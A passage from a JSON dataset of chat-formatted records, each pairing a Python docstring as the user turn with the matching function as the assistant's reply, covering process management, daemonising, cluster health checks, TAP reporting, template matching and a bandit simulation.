doesn't exist, just pass.", "conversation_id": 324, "message_id": 1 }, { "role": "assistant", "content": "def signal_ptree(pid, signal=15):\n try:\n process = psutil.Process(pid)\n except psutil.NoSuchProcess:\n return\n children = get_ptree(process)\n lg.info('Sending signal to process tree: signal=%s pid=%s process=%s children=%s' % (signal, process.pid, process.name, len(children)))\n if children:\n for child in children:\n try:\n lg.info('Sending signal to child process: signal=%s pid=%s process=%s' % (signal, child.pid, child.name))\n os.kill(child.pid, signal)\n except OSError as e:\n if e.errno == 3:\n lg.debug('Children process does not exist: pid=%s process=%s' % (child.pid, child.name))\n continue\n try:\n lg.info('Sending signal to parent process: signal=%s pid=%s process=%s' % (signal, process.pid, process.name))\n os.kill(process.pid, signal)\n except OSError as e:\n if e.errno == 3:\n lg.debug('Parent process does not exist: pid=%s process=%s' % (process.pid, process.name))\n pass", "conversation_id": 324, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 325, "message_id": 0 }, { "role": "user", "content": "Register cleanup function for given process id.", "conversation_id": 325, "message_id": 1 }, { "role": "assistant", "content": "def _register_cleanup(pid):\n lg.debug(\"Registering cleanup for pid %s\" % pid)\n atexit.register(_proc_cleanup, pid)", "conversation_id": 325, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 326, "message_id": 0 }, { "role": "user", "content": "Unregister cleanup function for given process id.", "conversation_id": 326, "message_id": 1 }, { "role": "assistant", "content": "def _unregister_cleanup(pid):\n lg.debug(\"Unregistering cleanup for pid %s\" % pid)\n if _PY3:\n atexit.unregister(_proc_cleanup)\n return\n for handler in atexit._exithandlers:\n (func, args, kwargs) = handler\n if func == _proc_cleanup and args == (pid,):\n atexit._exithandlers.remove(handler)", "conversation_id": 326, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 327, "message_id": 0 }, { "role": "user", "content": "Run command with given timeout.\nReturn tuple of stdout, stderr strings and retval integer..", "conversation_id": 327, "message_id": 1 }, { "role": "assistant", "content": "def run(self, timeout=None, timeout_sigterm=3, timeout_sigkill=5):\n def target():\n try:\n self.process = subprocess.Popen(self.command, **self.kwargs)\n _register_cleanup(self.process.pid)\n self.stdout, self.stderr = self.process.communicate()\n self.stdout = self.stdout.decode('utf-8').strip() if self.stdout else ''\n self.stderr = self.stderr.decode('utf-8').strip() if self.stderr else ''\n self.returncode = self.process.returncode\n except Exception as e:\n self._exception = e\n return e\n thread = threading.Thread(target=target)\n lg.debug(\"Executing command: command='%s' %s\"\n % (self.command, ' '.join('%s=%s' % (a, b) for a, b in self.kwargs.items())))\n time_start = datetime.datetime.now()\n thread.start()\n if timeout:\n thread.join(timeout)\n if thread.is_alive():\n signal_ptree(self.process.pid)\n thread.join(timeout_sigterm)\n if thread.is_alive():\n signal_ptree(self.process.pid, signal=9)\n thread.join(timeout_sigkill)\n if thread.is_alive():\n _unregister_cleanup(self.process.pid)\n raise ThreadDeadlock(\"Process %s deadlocked thread %s\" % (self.process.pid, thread.name))\n _unregister_cleanup(self.process.pid)\n raise ExecutionTimeout(\"Execution timeout after %s seconds\" % timeout)\n else:\n thread.join()\n if self._exception:\n _unregister_cleanup(self.process.pid)\n raise self._exception\n lg.debug(\"Command execution done: time=%s returncode=%s\" %\n ((datetime.datetime.now() - time_start).seconds, self.returncode))\n _unregister_cleanup(self.process.pid)\n return (self.stdout, self.stderr, self.returncode)", "conversation_id": 327, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 328, "message_id": 0 }, { "role": "user", "content": "Main entrance\ncheck peers status\ncheck volumes status\ntry to mount and unmount volume.", "conversation_id": 328, "message_id": 1 }, { "role": "assistant", "content": "def run(self):\n volume = self.plugin.get_param('Volume')\n try:\n self.check_peers()\n except Exception as e:\n self.result.add_component('Peers', 'ERROR', error=[\"Can't check peers: %s\" % e])\n lg.exception(e)\n try:\n self.check_volumes()\n except Exception as e:\n self.result.add_component('Volumes', 'ERROR', error=[\"Can't check volumes: %s\" % e])\n lg.exception(e)\n if volume:\n try:\n self.mount(volume)\n except Exception as e:\n self.result.add_component('Mount', 'ERROR', error=[\"Can't mount volume: %s\" % e])\n lg.exception(e)\n self.result.set_status()\n return self.result", "conversation_id": 328, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 329, "message_id": 0 }, { "role": "user", "content": "Check peers status\nand add component result.", "conversation_id": 329, "message_id": 1 }, { "role": "assistant", "content": "def check_peers(self):\n peers = self.getPeersStatus()\n status = 'OK'\n messages = {\n 'info' : [],\n 'error': [],\n 'warn' : [],\n }\n for host, peer in peers.items():\n if peer['connected'] == True:\n messages['info'].append('Peer %s is healthy: %s (Connected)' % (host, peer['status']))\n else:\n messages['error'].append('Peer %s is not healthy: %s (Disconnected)' % (host, peer['status']))\n status = 'ERROR'\n self.result.add_component('Peers', status, **messages)", "conversation_id": 329, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 330, "message_id": 0 }, { "role": "user", "content": "Check volumes status\nand add component result.", "conversation_id": 330, "message_id": 1 }, { "role": "assistant", "content": "def check_volumes(self):\n volumes = self.getVolumesStatus()\n status = 'OK'\n messages = {\n 'info' : [],\n 'error': [],\n 'warn' : [],\n }\n if len(volumes) < 1:\n messages['error'].append(\"No configured volumes found\")\n status = 'ERROR'\n for vol, nodes in volumes.items():\n if nodes['status'] != 1:\n failed = []\n for node, status in nodes.items():\n if node != 'status' and status != 1:\n failed.append(node)\n messages['error'].append(\"Volume %s is not healthy (failed nodes: %s)\" % (vol, ', '.join(failed)))\n status = 'ERROR'\n else:\n messages['info'].append(\"Volume %s is healthy\" % vol)\n self.result.add_component('Volumes', status, **messages)", "conversation_id": 330, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 331, "message_id": 0 }, { "role": "user", "content": "Run daemon\nchange effective uid/gid\nstart thread for each check\nstart webserver.", "conversation_id": 331, "message_id": 1 }, { "role": "assistant", "content": "def run(self):\n lg.info(\"Starting daemon\")\n if 'uid' in self.conf and 'gid' in self.conf:\n if os.geteuid != self.conf['uid'] and os.getegid != self.conf['gid']:\n try:\n os.setegid(self.conf['gid'])\n os.seteuid(self.conf['uid'])\n except TypeError as e:\n lg.error(\"Config parameters uid/gid have to be integers: %s\" % e)\n except OSError as e:\n lg.error(\"Can't switch effective UID/GID to %s/%s: %s\" % (self.conf['uid'], self.conf['gid'], e))\n lg.exception(e)\n self._shutdown(exitcode=1)\n else:\n lg.info(\"Not changing effective UID/GID, keeping %s/%s\" % (os.geteuid(), os.getegid()))\n if not isinstance(self.conf['bind_port'], int):\n lg.error(\"Config parameter bind_port has to be integer\")\n config = {}\n for key in ['plugins', 'templates', 'actions']:\n try:\n config[key] = self.conf[key]\n except KeyError as e:\n lg.warn(\"Config section not found: %s\" % e)\n if not config['plugins']:\n lg.error('No configured plugins')\n self._shutdown(exitcode=1)\n if 'nr_concurrent_plugins' in self.conf:\n config['semaphore_count'] = self.conf['nr_concurrent_plugins']\n try:\n self.pluginmgr = PluginManager(**config)\n except Exception as e:\n lg.error(\"Can't initialize PluginManager\")\n lg.exception(e)\n self._shutdown(exitcode=1)\n lg.info(\"Starting webserver on %(bind_host)s:%(bind_port)s\"\n % self.conf)\n try:\n self.server = RestServer(self)\n self.server.start()\n except Exception as e:\n lg.error(\"Can't start HTTP server: %s\" % e)\n lg.exception(e)\n self._shutdown(exitcode=1)\n if hasattr(signal, 'SIGINT'):\n signal.signal(signal.SIGINT, self._shutdown)\n if hasattr(signal, 'SIGTERM'):\n signal.signal(signal.SIGTERM, self._shutdown)\n if hasattr(signal, 'SIGHUP'):\n signal.signal(signal.SIGHUP, self._reopen_logfiles)\n self._watchdog()", "conversation_id": 331, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 332, "message_id": 0 }, { "role": "user", "content": "Daemonize and run daemon\nUse double-fork magic to do that\n\nUse sys.exit() here instead of self._shutdown() because we don't have running\ndaemon to shutdown in this function.", "conversation_id": 332, "message_id": 1 }, { "role": "assistant", "content": "def daemonize(self):\n if os.path.isfile(self.conf['pidfile']):\n lg.error(\"PID file %s already exists\" % self.conf['pidfile'])\n sys.exit(1)\n pid = os.fork()\n if pid:\n sys.exit(0)\n os.chdir('/')\n os.setsid()\n os.umask(0)\n pid = os.fork()\n if pid:\n sys.exit(0)\n for log in ['stdout', 'stderr', 'stdin']:\n path = os.path.dirname(self.conf[log])\n if not os.path.exists(path):\n os.mkdir(path)\n redirect_standard_io(self.conf)\n try:\n fh = open(self.conf['pidfile'], 'w')\n fh.write(str(os.getpid()))\n fh.flush()\n fh.close()\n except Exception as e:\n lg.error(\"Can't write PID into pidfile: %s\" % e)\n sys.exit(1)\n try:\n self.run()\n except Exception as e:\n self._shutdown(exitcode=1)\n lg.exception(e)", "conversation_id": 332, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 333, "message_id": 0 }, { "role": "user", "content": "Shutdown smoker daemon (internal use)\nexitcode - exit code number (default 0)\nsignum, frame - used by signal handler\nexception - if True, raise on exception, otherwise just log it and pass.", "conversation_id": 333, "message_id": 1 }, { "role": "assistant", "content": "def _shutdown(self, signum=None, frame=None, exitcode=0, exception=False):\n if self.pluginmgr and self.pluginmgr.stopping:\n return\n lg.info(\"Shutting down\")\n try:\n if self.server:\n try:\n self.server.terminate()\n self.server.join()\n except AttributeError:\n pass\n if self.pluginmgr:\n self.pluginmgr.stop()\n if os.path.isfile(self.conf['pidfile']):\n os.remove(self.conf['pidfile'])\n except Exception as e:\n lg.exception(e)\n if exception:\n raise\n sys.exit(exitcode)", "conversation_id": 333, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 334, "message_id": 0 }, { "role": "user", "content": "Get client configuration from smokercli.yaml.", "conversation_id": 334, "message_id": 1 }, { "role": "assistant", "content": "def _load_config():\n conf_file = os.path.expanduser('~/.smokercli.yaml')\n if not os.path.exists(conf_file):\n conf_file = CONFIG_FILE\n if not os.path.exists(conf_file):\n return None\n with open(conf_file) as f:\n config = yaml.safe_load(f)\n return config", "conversation_id": 334, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 335, "message_id": 0 }, { "role": "user", "content": "Get list of available host discovery plugin module names.", "conversation_id": 335, "message_id": 1 }, { "role": "assistant", "content": "def _get_plugins(config):\n plugins = []\n if config and 'plugin_paths' in config:\n paths = config['plugin_paths']\n else:\n raise Exception('Invalid config file')\n for path in paths:\n try:\n module = __import__(path)\n except ImportError:\n raise Exception('Invalid config file')\n toplevel = os.path.dirname(module.__file__)\n submodule = '/'.join(path.split('.')[1:])\n plugin_dir = os.path.join(toplevel, submodule, '*.py')\n modules = [os.path.basename(name)[:-3] for name in\n glob.glob(plugin_dir)]\n modules.remove('__init__')\n plugins += ['%s.%s' % (path, name) for name in modules]\n return plugins", "conversation_id": 335, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 336, "message_id": 0 }, { "role": "user", "content": "Add host discovery plugin specific options to the cmdline argument parser.", "conversation_id": 336, "message_id": 1 }, { "role": "assistant", "content": "def _add_plugin_arguments(parser, config):\n plugins = _get_plugins(config)\n if not plugins:\n return\n argument_group = parser.add_argument_group('Plugin arguments')\n for plugin in plugins:\n args = _get_plugin_arguments(plugin)\n for argument in args:\n argument_group.add_argument(*argument.args, **argument.kwargs)", "conversation_id": 336, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 337, "message_id": 0 }, { "role": "user", "content": "Dump plugins result to TAP\nTake OK and also WARN statuses as ok\nPrint only error and warn results.", "conversation_id": 337, "message_id": 1 }, { "role": "assistant", "content": "def dump_tap(plugins):\n tap = Tap()\n for name in sorted(plugins):\n host = plugins[name]\n if host['status'] in ['OK', 'WARN']:\n host_ok = True\n else:\n host_ok = False\n tap_host = TapTest(name, host_ok)\n tap.add_test(tap_host)\n for key in sorted(host['plugins']):\n plugin = host['plugins'][key]\n if not plugin['lastResult']:\n plugin_ok = False\n else:\n if plugin['lastResult']['status'] in ['OK', 'WARN']:\n plugin_ok = True\n else:\n plugin_ok = False\n messages = []\n if plugin['lastResult']:\n if plugin['lastResult']['messages']:\n messages = plugin['lastResult']['messages']\n tap_plugin = TapTest(plugin['name'], plugin_ok, messages)\n tap_host.add_subtest(tap_plugin)\n if (plugin['lastResult'] and\n plugin['lastResult']['componentResults']):\n for component in plugin['lastResult']['componentResults']:\n component = component['componentResult']\n if component['status'] in ['OK', 'WARN']:\n component_ok = True\n else:\n component_ok = False\n messages = []\n if component['messages']:\n if component['messages']:\n messages = component['messages']\n tap_component = TapTest(component['name'], component_ok,\n messages)\n tap_plugin.add_subtest(tap_component)\n return tap.dump()", "conversation_id": 337, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 338, "message_id": 0 }, { "role": "user", "content": "Add count of items as done.", "conversation_id": 338, "message_id": 1 }, { "role": "assistant", "content": "def add_done(self, count=1):\n assert isinstance(count, numbers.Integral), \"Count must be integral number\"\n self.items_done += count", "conversation_id": 338, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 339, "message_id": 0 }, { "role": "user", "content": "Run thread\nWhile we have undone items, print progressbar.", "conversation_id": 339, "message_id": 1 }, { "role": "assistant", "content": "def run(self):\n while self.items_done < self.items_count:\n try:\n width, height = console.get_terminal_size()\n except IOError:\n width, height = (80, 37)\n sys.stdout.write('\\r%s' % (width * ' '))\n sys.stdout.write('\\r %s' % self.get_progress())\n sys.stdout.flush()\n time.sleep(self.speed)", "conversation_id": 339, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 340, "message_id": 0 }, { "role": "user", "content": "This function has to be called after progress bar stop to do the cleanup.", "conversation_id": 340, "message_id": 1 }, { "role": "assistant", "content": "def stop(self):\n print()", "conversation_id": 340, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 341, "message_id": 0 }, { "role": "user", "content": "Accept list pool of threads, watch if they are alive and update progress.", "conversation_id": 341, "message_id": 1 }, { "role": "assistant", "content": "def wait_pool(self, pool):\n assert isinstance(pool, list), \"Parameter pool must be list of Thread objects\"\n while self.get_left():\n done = 0\n for t in pool:\n assert isinstance(t, threading.Thread),\\\n \"Object in pool must be instance of threading.Thread not %s\" % type(t)\n if not t.is_alive():\n done += 1\n self.set_done(done)\n time.sleep(1)", "conversation_id": 341, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 342, "message_id": 0 }, { "role": "user", "content": "Check if plugin passes supplied filters.", "conversation_id": 342, "message_id": 1 }, { "role": "assistant", "content": "def _match_filters(self, plugin, filters, negative=False, exclude_plugins=None):\n if exclude_plugins:\n if plugin['name'] in exclude_plugins:\n return False\n match_result = lambda match: not match if negative else match\n match = True\n for filter in filters:\n if isinstance(filter, tuple):\n key, value = filter\n if key == 'status' and isinstance(value, list):\n try:\n if plugin['lastResult']['status'] in value:\n match = True\n if not negative: continue\n else: break\n else:\n match = False\n break\n except (KeyError, TypeError):\n if 'UNKNOWN' in value:\n match = True\n if not negative: continue\n else: break\n else:\n match = False\n break\n elif isinstance(filter, dict):\n try:\n if plugin['parameters'][filter['key']] == filter['value']:\n lg.debug(\"Plugin %s matched filter %s = %s\" % (plugin['name'], filter['key'], filter['value']))\n match = True\n if not negative: continue\n else: break\n else:\n lg.debug(\"Plugin %s doesn't match filter %s = %s\" % (plugin['name'], filter['key'], filter['value']))\n match = False\n break\n except KeyError:\n lg.debug(\"Plugin %s doesn't have filter parameter %s\" % (plugin['name'], filter['key']))\n match = False\n break\n elif isinstance(filter, list):\n if plugin['name'] in filter:\n lg.debug(\"Plugin %s matched requested plugins list\" % plugin['name'])\n match = True\n continue\n else:\n match = False\n lg.debug(\"Plugin %s doesn't match requested plugins list\" % plugin['name'])\n break\n match = match_result(match)\n return match", "conversation_id": 342, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 343, "message_id": 0 }, { "role": "user", "content": "Open given uri in parallel and\nget JSON-parsed result.", "conversation_id": 343, "message_id": 1 }, { "role": "assistant", "content": "def open(self, uri=None, resource=None, data=None):\n if not uri and not resource:\n raise Exception(\"Argument uri or resource have to be submitted\")\n pool = []\n for host in self.hosts:\n t = threading.Thread(name=host.name, target=host.open, args=(uri, resource, data,))\n t.daemon = True\n t.start()\n pool.append(t)\n self.wait(pool)\n result = {}\n for host in self.hosts:\n result[host.name] = host.get_result()\n return result", "conversation_id": 343, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 344, "message_id": 0 }, { "role": "user", "content": "Wait until all threads in pool are done.", "conversation_id": 344, "message_id": 1 }, { "role": "assistant", "content": "def wait(self, pool):\n done = False\n while not done:\n done = True\n for t in pool:\n if t.is_alive():\n done = False\n time.sleep(0.5)", "conversation_id": 344, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 345, "message_id": 0 }, { "role": "user", "content": "Wait until all threads in pool are done\nand show nice progress bar.", "conversation_id": 345, "message_id": 1 }, { "role": "assistant", "content": "def wait_progress(self, pool):\n try:\n with ProgressBar(len(pool)) as progress:\n progress.wait_pool(pool)\n except NonInteractiveError as e:\n lg.warn(e)\n self.wait(pool)", "conversation_id": 345, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 346, "message_id": 0 }, { "role": "user", "content": "Open given uri and get JSON-parsed result.", "conversation_id": 346, "message_id": 1 }, { "role": "assistant", "content": "def open(self, uri=None, resource=None, data=None, timeout=20):\n if not uri and not resource:\n raise Exception(\"Argument uri or resource have to be submitted\")\n if resource:\n try:\n uri = self.links[resource]['href']\n except KeyError:\n lg.error(\"Can't find resource %s\" % resource)\n return False\n if data:\n data = data.encode('utf-8')\n url = '%s%s' % (self.url, uri)\n lg.info(\"Host %s: requesting url %s\" % (self.name, url))\n try:\n fh = urllib.request.urlopen(url, timeout=timeout, data=data)\n except Exception as e:\n lg.error(\"Host %s: can't open resource %s: %s\" % (self.name, url, e))\n return False\n fh = fh.read()\n if not _PY3:\n fh = fh.decode('utf-8')\n try:\n json = simplejson.loads(fh)\n except Exception as e:\n lg.error(\"Host %s: can't load response as JSON: %s\" % (self.name, e))\n return False\n self._result = json\n return json", "conversation_id": 346, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 347, "message_id": 0 }, { "role": "user", "content": "Force plugin run\nPoll process until result.", "conversation_id": 347, "message_id": 1 }, { "role": "assistant", "content": "def force_run(self, plugins):\n plugins_list = list(plugins.keys())\n data = simplejson.dumps({\n 'process' : {\n 'plugins' : plugins_list,\n }\n })\n lg.info(\"Forcing run of %d plugins on host %s\" % (len(plugins_list), self.name))\n process = self.open(resource='processes', data=data)\n if process:\n poll = process['asyncTask']['link']['poll']\n return self.poll(uri=poll)\n else:\n return False", "conversation_id": 347, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 348, "message_id": 0 }, { "role": "user", "content": "Print number of hosts in result.", "conversation_id": 348, "message_id": 1 }, { "role": "assistant", "content": "def count_hosts(self):\n return len(self)", "conversation_id": 348, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 349, "message_id": 0 }, { "role": "user", "content": "Dump all tests into tap structure.", "conversation_id": 349, "message_id": 1 }, { "role": "assistant", "content": "def dump(self):\n dump = []\n dump.append('1..%s' % len(self.tests))\n for test in self.tests:\n dump.append(test.dump())\n return '\\n'.join(dump)", "conversation_id": 349, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 350, "message_id": 0 }, { "role": "user", "content": "Add TapTest instance as subtest\nReturn subtest index.", "conversation_id": 350, "message_id": 1 }, { "role": "assistant", "content": "def add_subtest(self, test):\n test.index = self.subtests_index\n self.subtests.append(test)\n self.subtests_index += 1\n return test.index", "conversation_id": 350, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 351, "message_id": 0 }, { "role": "user", "content": "Dump TapTest result into TAP\nShould be used from Tap instance to dump all results\n\nDump messages in YAMLish format.", "conversation_id": 351, "message_id": 1 }, { "role": "assistant", "content": "def dump(self):\n dump = []\n dump.append('%s %s - %s' % (self.status, self.index, self.name))\n if self.messages:\n messages = []\n for key, values in self.messages.items():\n if values:\n messages.append('\\t- %s:' % key)\n for msg in values:\n messages.append(\"\\t\\t- %s\" % msg)\n if messages:\n messages.insert(0, '---')\n messages.append('...')\n dump.append('\\n'.join(messages))\n if self.subtests:\n dump_subtests = []\n dump_subtests.append('\\t1..%s' % len(self.subtests))\n for test in self.subtests:\n dump_subtests.append(test.dump())\n dump.append(re.sub('\\n', '\\n\\t', '\\n'.join(dump_subtests)))\n return '\\n'.join(dump)", "conversation_id": 351, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 352, "message_id": 0 }, { "role": "user", "content": "Match value with defined template field..", "conversation_id": 352, "message_id": 1 }, { "role": "assistant", "content": "def m_eq(value, templ_value):\n retMatch = None\n retBoundName = None\n m_t = m_regex.match(templ_value)\n if m_t:\n gd = m_t.groupdict()\n if gd.get('bound'):\n retBoundName = gd['bound']\n retMatch = True\n if gd.get('re_bound'):\n retMatch = re.match(gd['re_bound'], value)\n if gd.get('re'):\n retMatch = re.match(gd['re'], value)\n if gd.get('re_bound_neg'):\n retMatch = not re.match(gd['re_bound_neg'], value)\n if gd.get('re_neg'):\n retMatch = not re.match(gd['re_neg'], value)\n if gd.get('type'):\n retMatch = isinstance(value, m_get_type(gd['type']))\n if gd.get('literal'):\n retMatch = value == gd['literal']\n if gd.get('normal'):\n retMatch = value == gd['normal']\n return retMatch, retBoundName", "conversation_id": 352, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 353, "message_id": 0 }, { "role": "user", "content": "Will return proper instance of namedtuple (all named Row)..", "conversation_id": 353, "message_id": 1 }, { "role": "assistant", "content": "def row_tuple(fields_str, additional_fields=None):\n def mk__getattr__(additional_fields):\n def _attr_f(t, self, name):\n if t and name in t:\n return string.Template(t[name]).safe_substitute(**self._asdict())\n return None\n return lambda self, name: _attr_f(additional_fields, self, name)\n if fields_str not in _tuple_cache:\n Row = collections.namedtuple('Row', fields_str)\n Row.__getattr__ = mk__getattr__(additional_fields=additional_fields)\n Row.__str = Row.__str__\n Row.__str__ = lambda t: (\n '|<| ' +\n ' | '.join('%s: %s' % (f, getattr(t, f)) for f in t._fields)\n + ' |>|')\n _tuple_cache[fields_str] = Row\n return _tuple_cache[fields_str]", "conversation_id": 353, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 354, "message_id": 0 }, { "role": "user", "content": "Extend attribute of `Row` namedtuple.\nReturn `None` on invalid field.\nReturn formatted string when name is in TEMPLATE dictionary..", "conversation_id": 354, "message_id": 1 }, { "role": "assistant", "content": "def mk__getattr__(additional_fields):\n def _attr_f(t, self, name):\n if t and name in t:\n return string.Template(t[name]).safe_substitute(**self._asdict())\n return None\n return lambda self, name: _attr_f(additional_fields, self, name)", "conversation_id": 354, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 355, "message_id": 0 }, { "role": "user", "content": "Object is iterable but not string..", "conversation_id": 355, "message_id": 1 }, { "role": "assistant", "content": "def is_iterable(s):\n if isinstance(s, (str, bytes)):\n return False\n return hasattr(s, '__iter__')", "conversation_id": 355, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 356, "message_id": 0 }, { "role": "user", "content": "Make sure dictionary and/or list iterate with same protocol..", "conversation_id": 356, "message_id": 1 }, { "role": "assistant", "content": "def iter_tuplepairs(structure):\n if isinstance(structure, (str, bytes)):\n return tuple()\n elif isinstance(structure, collections.Mapping):\n return iteritems(structure)\n elif isinstance(structure, collections.Sequence) or is_iterable(structure):\n return enumerate(structure)\n else:\n return tuple()", "conversation_id": 356, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 357, "message_id": 0 }, { "role": "user", "content": "Integral type is only type that this function can verify.\nBut it's okay, don't really need more types..", "conversation_id": 357, "message_id": 1 }, { "role": "assistant", "content": "def m_get_type(val):\n tp = ''.join(val.split('!'))\n if tp == 'Integral':\n import numbers\n return numbers.Integral\n return None", "conversation_id": 357, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 358, "message_id": 0 }, { "role": "user", "content": "Step down the template dict to the proper sub-branch..", "conversation_id": 358, "message_id": 1 }, { "role": "assistant", "content": "def delve_in_template(templ, name, value):\n if name is not None:\n return templ['$' + name]\n elif value in templ:\n return templ[value]\n types = list(filter(lambda x: x.startswith('!'),\n iter(templ.keys())))\n for t in types:\n if isinstance(value, m_get_type(t)):\n return templ[t]\n raise IndexError(\"(VALUE: %s) or (PATTERN: %s) not in '%s'\" % (value, name, templ))", "conversation_id": 358, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 359, "message_id": 0 }, { "role": "user", "content": "Decision predicate if current captured fields satisfy matching rules and can delve further..", "conversation_id": 359, "message_id": 1 }, { "role": "assistant", "content": "def m_field_dicts(data_fields, templ):\n def fields_only(d):\n flds = {}\n for field_candidate, value in d.items():\n if is_scalar(value):\n flds[field_candidate] = value\n return flds\n def satisfy_fields(d, t):\n retVal = tuple()\n template_fields = fields_only(t)\n plain_fields = list(itertools.filterfalse(lambda s: s.startswith('$'),\n iter(template_fields.keys())))\n if set(d.keys()).issuperset(set(plain_fields)):\n for f in plain_fields:\n match, bound_name = m_eq(d[f], t[f])\n if not match: \n return None, tuple()\n if bound_name:\n retVal = retVal + ((bound_name, d[f]),)\n return True, retVal\n return None, tuple()\n return satisfy_fields(data_fields, templ)", "conversation_id": 359, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 360, "message_id": 0 }, { "role": "user", "content": "Reinitialize bandit for a new run when running in serial or parallel.", "conversation_id": 360, "message_id": 1 }, { "role": "assistant", "content": "def initialization(self, testbed):\n testbed.reset_ev()\n self.n = 1\n self.Q = deepcopy(self.Q_init)\n self.Na = {a: 0 for a in self.Q}\n self.At = self.argmax(self.Q)", "conversation_id": 360, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 361, "message_id": 0 }, { "role": "user", "content": "Return max estimate Q, if tie between actions, choose at random between tied actions.", "conversation_id": 361, "message_id": 1 }, { "role": "assistant", "content": "def argmax(self, Q):\n Q_array = np.array(list(self.Q.values()))\n At = np.argwhere(Q_array == np.max(Q_array)).flatten().tolist()\n if len(At) > 1:\n At = np.random.choice(At)\n else:\n At = At[0]\n return list(Q.keys())[At]", "conversation_id": 361, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 362, "message_id": 0 }, { "role": "user", "content": "Run bandit for specified number of steps and optionally multiple runs.", "conversation_id": 362, "message_id": 1 }, { "role": "assistant", "content": "def run(self, testbed, steps, n_runs=1, n_jobs=4, serial=False):\n if serial:\n self.action_values = self._serialrun(testbed, steps, n_runs)\n elif n_runs >= 4:\n if n_jobs > cpu_count():\n warnings.warn(\n f\"Warning: running n_jobs: {n_jobs}, with only {cpu_count()} cpu's detected\",\n RuntimeWarning,\n )\n self.action_values = self._multirun(testbed, steps, n_runs, n_jobs=n_jobs)\n else:\n self.action_values = self._serialrun(testbed, steps, n_runs)", "conversation_id": 362, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 363, "message_id": 0 }, { "role": "user", "content": "Reshape action_values numpy array and output as pandas dataframe.", "conversation_id": 363, "message_id": 1 }, { "role": "assistant", "content": "def output_df(self):\n n_rows = self.action_values.shape[2] * self.action_values.shape[0]\n df = pd.DataFrame(\n data=self.action_values.transpose(2, 0, 1).reshape(-1, len(self.columns)),\n columns=self.columns,\n )\n return df", "conversation_id": 363, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 364, "message_id": 0 }, { "role": "user", "content": "Reshape action_values numpy array and output as pandas dataframe\nAdd epsilon coefficient used for greedy bandit.", 